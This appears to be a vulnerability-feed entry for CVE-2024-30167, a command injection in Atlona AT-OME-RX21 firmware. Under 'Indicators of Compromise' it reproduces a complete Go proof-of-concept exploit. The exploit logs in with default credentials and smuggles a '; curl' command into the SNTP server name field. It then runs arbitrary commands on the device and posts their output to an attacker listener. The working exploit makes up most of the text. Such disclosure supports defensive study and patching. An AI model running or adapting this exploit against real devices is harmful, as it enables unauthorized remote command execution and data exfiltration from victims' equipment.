This is an authenticated command injection vulnerability affecting the Atlona ATOMERX21 device. Exploit code is publicly available in Python, indicating the vulnerability can be leveraged by an authenticated user to execute arbitrary commands. The severity is assessed as medium based on available information.

AI Analysis

Indicators of Compromise

• exploit-code: // Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection // Google Dork: N/A // Date: 2025-12-28 // Exploit Author: RIZZZIOM // Vendor Homepage: https://atlona.com // Software Link: https://atlona.com/product/at-ome-rx21/ // Version: Firmware <= 1.5.1 // Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1) // CVE : CVE-2024-30167 // Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command> package main import ( "bytes" "context" "encoding/base64" "flag" "fmt" "io" "net/http" "os" "os/signal" "strings" "syscall" "time" ) func main() { banner := ` ▄█████ ██ ██ ██████ ████▄ ▄██▄ ████▄ ██ ██ ████▄ ▄██▄ ▄██ ▄██▀▀▀ ██████ ██ ██▄▄██ ██▄▄ ▄▄▄ ▄██▀ ██ ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██ ██ ██ ██▄▄▄ ▄██▀ ▀█████ ▀██▀ ██▄▄▄▄ ███▄▄ ▀██▀ ███▄▄ ██ ▄▄▄█▀ ▀██▀ ██ ▀█▄▄█▀ ██▀ PoC by: github.com/RIZZZIOM ` fmt.Println(banner) target := flag.String("t", "", "Target URL (e.g: http://example.com)") username := flag.String("u", "admin", "Username for authentication") password := flag.String("p", "Atlona", "Password for authentication") lport := flag.String("P", "4444", "listening port for command output") lhost := flag.String("l", "", "listening host for command output") command := flag.String("c", "", "Command to execute on the target") flag.Parse() if *target == "" || *lhost == "" || *command == "" { fmt.Println("ERROR: Missing required parameters") flag.PrintDefaults() os.Exit(1) } url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi" listener := *lhost + ":" + *lport // Buffered channel to prevent goroutine blocking if receiver exits early responseChan := make(chan struct{}, 1) // Create context for graceful shutdown coordination ctx, cancel := context.WithCancel(context.Background()) defer cancel() // Start HTTP server and get reference for shutdown server := httpServe(listener, responseChan, ctx) executeCommand(url, *username, *password, listener, *command) sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM) // Timeout to prevent indefinite waiting responseTimeout := time.NewTimer(30 * time.Second) defer responseTimeout.Stop() select { case <-responseChan: time.Sleep(1 * time.Second) case <-sigChan: fmt.Printf("\n===Shutting Down===\n") case <-responseTimeout.C: fmt.Println("\n===Response Timeout - No response received===") } // Graceful server shutdown cancel() // Signal context cancellation shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second) defer shutdownCancel() if err := server.Shutdown(shutdownCtx); err != nil { fmt.Printf("Server shutdown error: %v\n", err) } } func executeCommand(url, username, password, listener, command string) { // this func sends the commands to the target payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener) auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password)) req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload))) if err != nil { panic(err) } req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0") req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Basic "+auth) req.Header.Set("X-Requested-With", "XMLHttpRequest") client := &http.Client{ Timeout: 15 * time.Second, } resp, err := client.Do(req) if err != nil { fmt.Printf("ERROR: Request failed: %v\n", err) os.Exit(1) } defer resp.Body.Close() switch resp.StatusCode { case 200: fmt.Println("Command Injection Successful") case 401, 403: fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode) case 404: fmt.Printf("ERROR: Target Endpoint Not Found.\n") default: fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode) body, _ := io.ReadAll(resp.Body) if len(body) > 0 { fmt.Printf("Response Body: %s\n", string(body)) } os.Exit(1) } } func getResponse(r *http.Request, responseChan chan struct{}) { // this function serves and http server and collects response if r.Method != http.MethodPost { fmt.Printf("Received non-POST Request(%s)\n", r.Method) return } defer r.Body.Close() fmt.Println("\n=====Received Response=====") body, err := io.ReadAll(r.Body) if err != nil { fmt.Printf("Failed To Read Response Body: %v\n", err) return } fmt.Println(string(body)) // Non-blocking send to prevent goroutine deadlock select { case responseChan <- struct{}{}: default: } } func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server { // this function gets the command injection response from the custom header mux := http.NewServeMux() mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { getResponse(r, responseChan) w.WriteHeader(http.StatusNoContent) }) server := &http.Server{ Addr: listener, Handler: mux, MaxHeaderBytes: 20 * 1024 * 1024, ReadTimeout: 30 * time.Second, WriteTimeout: 30 * time.Second, IdleTimeout: 60 * time.Second, } fmt.Printf("Listening on %s for response...\n", listener) go func() { if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { fmt.Printf("ERROR: Server error: %v\n", err) } }() return server }